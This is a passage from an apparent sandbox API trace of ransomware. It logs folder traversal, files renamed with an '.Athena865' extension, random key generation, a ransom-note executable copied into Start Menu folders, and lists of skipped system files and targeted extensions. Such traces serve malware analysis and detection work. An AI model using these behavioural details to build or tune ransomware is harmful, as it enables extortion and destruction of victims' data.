(lpString1="be71009ff8bb02a2.customDestinations-ms", lpString2=".lnk") returned 1 [0102.498] lstrlenW (lpString=".ini") returned 4 [0102.499] lstrcmpiW (lpString1="be71009ff8bb02a2.customDestinations-ms", lpString2=".ini") returned 1 [0102.499] lstrlenW (lpString=".sys") returned 4 [0102.499] lstrcmpiW (lpString1="be71009ff8bb02a2.customDestinations-ms", lpString2=".sys") returned 1 [0102.499] lstrlenW (lpString="be71009ff8bb02a2.customDestinations-ms") returned 38 [0102.499] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\CustomDestinations\\be71009ff8bb02a2.customDestinations-ms.Athena865") returned 121 [0102.499] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\CustomDestinations\\be71009ff8bb02a2.customDestinations-ms" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\customdestinations\\be71009ff8bb02a2.customdestinations-ms"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\CustomDestinations\\be71009ff8bb02a2.customDestinations-ms.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\customdestinations\\be71009ff8bb02a2.customdestinations-ms.athena865"), dwFlags=0x1) returned 1 [0102.501] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\CustomDestinations\\be71009ff8bb02a2.customDestinations-ms.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\customdestinations\\be71009ff8bb02a2.customdestinations-ms.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0102.501] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=9215) returned 1 [0102.501] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0102.501] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540c58 [0102.501] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0102.501] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5193c0) returned 1 [0102.502] CryptGenRandom (in: hProv=0x5193c0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0102.502] CryptReleaseContext (hProv=0x5193c0, dwFlags=0x0) returned 1 [0102.502] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2700, lpName=0x0) returned 0x17c [0102.504] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2700) returned 0x100000 [0102.505] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5193c0) returned 1 [0102.506] CryptGenRandom (in: hProv=0x5193c0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0102.506] CryptReleaseContext (hProv=0x5193c0, dwFlags=0x0) returned 1 [0102.508] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a388960, ftCreationTime.dwHighDateTime=0x1d42023, ftLastAccessTime.dwLowDateTime=0xce5f0760, ftLastAccessTime.dwHighDateTime=0x1d4d596, ftLastWriteTime.dwLowDateTime=0xce5f0760, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x1f68, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="d93f411851d7c929.customDestinations-ms", cAlternateFileName="D93F41~1.CUS")) returned 1 [0102.508] lstrcmpiW (lpString1="d93f411851d7c929.customDestinations-ms", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.508] lstrcmpiW (lpString1="d93f411851d7c929.customDestinations-ms", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.508] lstrcmpiW (lpString1="d93f411851d7c929.customDestinations-ms", lpString2=".") returned 1 [0102.508] lstrcmpiW (lpString1="d93f411851d7c929.customDestinations-ms", lpString2="..") returned 1 [0102.508] lstrcmpiW (lpString1="d93f411851d7c929.customDestinations-ms", lpString2="windows") returned -1 [0102.508] lstrcmpiW (lpString1="d93f411851d7c929.customDestinations-ms", lpString2="bootmgr") returned 1 [0102.508] lstrcmpiW (lpString1="d93f411851d7c929.customDestinations-ms", lpString2="temp") returned -1 [0102.508] lstrcmpiW (lpString1="d93f411851d7c929.customDestinations-ms", lpString2="pagefile.sys") returned -1 [0102.508] lstrcmpiW (lpString1="d93f411851d7c929.customDestinations-ms", lpString2="boot") returned 1 [0102.508] lstrcmpiW (lpString1="d93f411851d7c929.customDestinations-ms", lpString2="ids.txt") returned -1 [0102.508] lstrcmpiW (lpString1="d93f411851d7c929.customDestinations-ms", lpString2="ntuser.dat") returned -1 [0102.508] lstrcmpiW (lpString1="d93f411851d7c929.customDestinations-ms", lpString2="perflogs") returned -1 [0102.508] lstrcmpiW (lpString1="d93f411851d7c929.customDestinations-ms", lpString2="MSBuild") returned -1 [0102.508] lstrlenW (lpString="d93f411851d7c929.customDestinations-ms") returned 38 [0102.508] lstrcpyW (in: lpString1=0x241e8da, lpString2="d93f411851d7c929.customDestinations-ms" | out: lpString1="d93f411851d7c929.customDestinations-ms") returned="d93f411851d7c929.customDestinations-ms" [0102.508] lstrlenW (lpString="d93f411851d7c929.customDestinations-ms") returned 38 [0102.508] lstrlenW (lpString="Athena865") returned 9 [0102.508] lstrcmpiW (lpString1="ations-ms", lpString2="Athena865") returned 1 [0102.508] lstrlenW (lpString=".dll") returned 4 [0102.509] lstrcmpiW (lpString1="d93f411851d7c929.customDestinations-ms", lpString2=".dll") returned 1 [0102.509] lstrlenW (lpString=".lnk") returned 4 [0102.509] lstrcmpiW (lpString1="d93f411851d7c929.customDestinations-ms", lpString2=".lnk") returned 1 [0102.509] lstrlenW (lpString=".ini") returned 4 [0102.509] lstrcmpiW (lpString1="d93f411851d7c929.customDestinations-ms", lpString2=".ini") returned 1 [0102.509] lstrlenW (lpString=".sys") returned 4 [0102.509] lstrcmpiW (lpString1="d93f411851d7c929.customDestinations-ms", lpString2=".sys") returned 1 [0102.509] lstrlenW (lpString="d93f411851d7c929.customDestinations-ms") returned 38 [0102.509] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\CustomDestinations\\d93f411851d7c929.customDestinations-ms.Athena865") returned 121 [0102.509] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\CustomDestinations\\d93f411851d7c929.customDestinations-ms" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\customdestinations\\d93f411851d7c929.customdestinations-ms"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\CustomDestinations\\d93f411851d7c929.customDestinations-ms.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\customdestinations\\d93f411851d7c929.customdestinations-ms.athena865"), dwFlags=0x1) returned 1 [0102.514] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\CustomDestinations\\d93f411851d7c929.customDestinations-ms.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\customdestinations\\d93f411851d7c929.customdestinations-ms.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0102.514] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=8040) returned 1 [0102.514] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5193c0) returned 1 [0102.515] CryptGenRandom (in: hProv=0x5193c0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0102.515] CryptReleaseContext (hProv=0x5193c0, dwFlags=0x0) returned 1 [0102.515] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2270, lpName=0x0) returned 0x17c [0102.516] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2270) returned 0x100000 [0102.517] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5193c0) returned 1 [0102.518] CryptGenRandom (in: hProv=0x5193c0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0102.518] CryptReleaseContext (hProv=0x5193c0, dwFlags=0x0) returned 1 [0102.519] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6ca9300, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc6ca9300, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0102.519] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0102.519] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6ca9300, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc6ca9300, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0 [0102.519] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0102.519] ReleaseMutex (hMutex=0xec) returned 1 [0102.519] CloseHandle (hObject=0xec) returned 1 [0102.519] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Start Menu\\Programs" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Start Menu\\Programs") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Start Menu\\Programs" [0102.519] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514758 | out: hHeap=0x4f0000) returned 1 [0102.519] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c5c0 | out: hHeap=0x4f0000) returned 1 [0102.519] lstrlenW (lpString="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Start Menu\\Programs") returned 66 [0102.519] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\CE96D33F299CA910CF787EB0B085291F") returned 0xec [0102.519] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0102.519] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Start Menu\\Programs" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Start Menu\\Programs") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Start Menu\\Programs" [0102.519] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0102.519] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Start Menu\\Programs\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\start menu\\programs\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.520] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Start Menu\\Programs\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\start menu\\programs\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0102.520] GetLastError () returned 0x0 [0102.520] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0102.520] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x546858 [0102.520] ReadFile (in: hFile=0xf4, lpBuffer=0x546858, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x546858*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0102.521] CloseHandle (hObject=0xf4) returned 1 [0102.521] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x546858 | out: hHeap=0x4f0000) returned 1 [0102.521] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0102.521] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Start Menu\\Programs\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc75bc6e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc75bc6e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0102.521] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.521] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.521] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0102.521] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc75bc6e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc75bc6e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0102.521] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.522] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.522] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0102.522] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0102.522] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d76088a, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Accessories", cAlternateFileName="ACCESS~1")) returned 1 [0102.522] lstrcmpiW (lpString1="Accessories", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.522] lstrcmpiW (lpString1="Accessories", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.522] lstrcmpiW (lpString1="Accessories", lpString2=".") returned 1 [0102.522] lstrcmpiW (lpString1="Accessories", lpString2="..") returned 1 [0102.522] lstrcmpiW (lpString1="Accessories", lpString2="windows") returned -1 [0102.522] lstrcmpiW (lpString1="Accessories", lpString2="bootmgr") returned -1 [0102.522] lstrcmpiW (lpString1="Accessories", lpString2="temp") returned -1 [0102.522] lstrcmpiW (lpString1="Accessories", lpString2="pagefile.sys") returned -1 [0102.522] lstrcmpiW (lpString1="Accessories", lpString2="boot") returned -1 [0102.522] lstrcmpiW (lpString1="Accessories", lpString2="ids.txt") returned -1 [0102.522] lstrcmpiW (lpString1="Accessories", lpString2="ntuser.dat") returned -1 [0102.522] lstrcmpiW (lpString1="Accessories", lpString2="perflogs") returned -1 [0102.522] lstrcmpiW (lpString1="Accessories", lpString2="MSBuild") returned -1 [0102.522] lstrlenW (lpString="Accessories") returned 11 [0102.522] lstrcpyW (in: lpString1=0x241e8ce, lpString2="Accessories" | out: lpString1="Accessories") returned="Accessories" [0102.522] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Start Menu\\Programs\\Accessories", dwFileAttributes=0x10) returned 1 [0102.522] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c5c0 [0102.522] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x9e) returned 0x523170 [0102.522] lstrcatW (in: lpString1="Accessories", lpString2="\\" | out: lpString1="Accessories\\") returned="Accessories\\" [0102.523] lstrcatW (in: lpString1="Accessories\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Accessories\\HOW TO BACK YOUR FILES.exe") returned="Accessories\\HOW TO BACK YOUR FILES.exe" [0102.523] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Start Menu\\Programs\\Accessories\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\start menu\\programs\\accessories\\how to back your files.exe"), bFailIfExists=1) returned 1 [0102.525] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d207440, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Administrative Tools", cAlternateFileName="ADMINI~1")) returned 1 [0102.525] lstrcmpiW (lpString1="Administrative Tools", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.525] lstrcmpiW (lpString1="Administrative Tools", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.525] lstrcmpiW (lpString1="Administrative Tools", lpString2=".") returned 1 [0102.525] lstrcmpiW (lpString1="Administrative Tools", lpString2="..") returned 1 [0102.525] lstrcmpiW (lpString1="Administrative Tools", lpString2="windows") returned -1 [0102.525] lstrcmpiW (lpString1="Administrative Tools", lpString2="bootmgr") returned -1 [0102.525] lstrcmpiW (lpString1="Administrative Tools", lpString2="temp") returned -1 [0102.525] lstrcmpiW (lpString1="Administrative Tools", lpString2="pagefile.sys") returned -1 [0102.525] lstrcmpiW (lpString1="Administrative Tools", lpString2="boot") returned -1 [0102.525] lstrcmpiW (lpString1="Administrative Tools", lpString2="ids.txt") returned -1 [0102.525] lstrcmpiW (lpString1="Administrative Tools", lpString2="ntuser.dat") returned -1 [0102.525] lstrcmpiW (lpString1="Administrative Tools", lpString2="perflogs") returned -1 [0102.525] lstrcmpiW (lpString1="Administrative Tools", lpString2="MSBuild") returned -1 [0102.526] lstrlenW (lpString="Administrative Tools") returned 20 [0102.526] lstrcpyW (in: lpString1=0x241e8ce, lpString2="Administrative Tools" | out: lpString1="Administrative Tools") returned="Administrative Tools" [0102.526] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Start Menu\\Programs\\Administrative Tools", dwFileAttributes=0x10) returned 1 [0102.526] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c548 [0102.526] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xb0) returned 0x542c98 [0102.526] lstrcatW (in: lpString1="Administrative Tools", lpString2="\\" | out: lpString1="Administrative Tools\\") returned="Administrative Tools\\" [0102.526] lstrcatW (in: lpString1="Administrative Tools\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Administrative Tools\\HOW TO BACK YOUR FILES.exe") returned="Administrative Tools\\HOW TO BACK YOUR FILES.exe" [0102.526] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Start Menu\\Programs\\Administrative Tools\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\start menu\\programs\\administrative tools\\how to back your files.exe"), bFailIfExists=1) returned 1 [0102.528] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28d71a60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d7ae880, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1dc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0102.528] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.528] lstrcmpiW (lpString1="desktop.ini", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.528] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1 [0102.528] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1 [0102.529] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1 [0102.529] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1 [0102.529] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1 [0102.529] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1 [0102.529] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1 [0102.529] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1 [0102.529] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1 [0102.529] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1 [0102.529] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1 [0102.529] lstrlenW (lpString="desktop.ini") returned 11 [0102.529] lstrcpyW (in: lpString1=0x241e8ce, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini" [0102.529] lstrlenW (lpString="desktop.ini") returned 11 [0102.529] lstrlenW (lpString="Athena865") returned 9 [0102.529] lstrcmpiW (lpString1="sktop.ini", lpString2="Athena865") returned 1 [0102.529] lstrlenW (lpString=".dll") returned 4 [0102.529] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1 [0102.529] lstrlenW (lpString=".lnk") returned 4 [0102.529] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1 [0102.529] lstrlenW (lpString=".ini") returned 4 [0102.529] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1 [0102.529] lstrlenW (lpString=".sys") returned 4 [0102.529] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1 [0102.529] lstrlenW (lpString="desktop.ini") returned 11 [0102.529] lstrlenW (lpString="bak") returned 3 [0102.529] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1 [0102.529] lstrlenW (lpString="ba_") returned 3 [0102.529] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1 [0102.529] lstrlenW (lpString="dbb") returned 3 [0102.529] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1 [0102.529] lstrlenW (lpString="vmdk") returned 4 [0102.529] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1 [0102.529] lstrlenW (lpString="rar") returned 3 [0102.529] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1 [0102.530] lstrlenW (lpString="zip") returned 3 [0102.530] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1 [0102.530] lstrlenW (lpString="tgz") returned 3 [0102.530] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1 [0102.530] lstrlenW (lpString="vbox") returned 4 [0102.530] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1 [0102.530] lstrlenW (lpString="vdi") returned 3 [0102.530] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1 [0102.530] lstrlenW (lpString="vhd") returned 3 [0102.530] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1 [0102.530] lstrlenW (lpString="vhdx") returned 4 [0102.530] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1 [0102.530] lstrlenW (lpString="avhd") returned 4 [0102.530] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1 [0102.530] lstrlenW (lpString="db") returned 2 [0102.530] lstrcmpiW (lpString1="ni", lpString2="db") returned 1 [0102.530] lstrlenW (lpString="db2") returned 3 [0102.530] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1 [0102.530] lstrlenW (lpString="db3") returned 3 [0102.530] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1 [0102.530] lstrlenW (lpString="dbf") returned 3 [0102.530] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1 [0102.530] lstrlenW (lpString="mdf") returned 3 [0102.530] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1 [0102.530] lstrlenW (lpString="mdb") returned 3 [0102.530] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1 [0102.530] lstrlenW (lpString="sql") returned 3 [0102.530] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1 [0102.530] lstrlenW (lpString="sqlite") returned 6 [0102.530] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1 [0102.530] lstrlenW (lpString="sqlite3") returned 7 [0102.530] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1 [0102.530] lstrlenW (lpString="sqlitedb") returned 8 [0102.531] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1 [0102.531] lstrlenW (lpString="xml") returned 3 [0102.531] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1 [0102.531] lstrlenW (lpString="$er") returned 3 [0102.531] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1 [0102.531] lstrlenW (lpString="4dd") returned 3 [0102.531] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1 [0102.531] lstrlenW (lpString="4dl") returned 3 [0102.531] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1 [0102.531] lstrlenW (lpString="^^^") returned 3 [0102.531] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1 [0102.531] lstrlenW (lpString="abs") returned 3 [0102.531] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1 [0102.531] lstrlenW (lpString="abx") returned 3 [0102.531] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1 [0102.531] lstrlenW (lpString="accdb") returned 5 [0102.531] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1 [0102.531] lstrlenW (lpString="accdc") returned 5 [0102.531] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1 [0102.531] lstrlenW (lpString="accde") returned 5 [0102.531] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1 [0102.531] lstrlenW (lpString="accdr") returned 5 [0102.531] lstrcmpiW 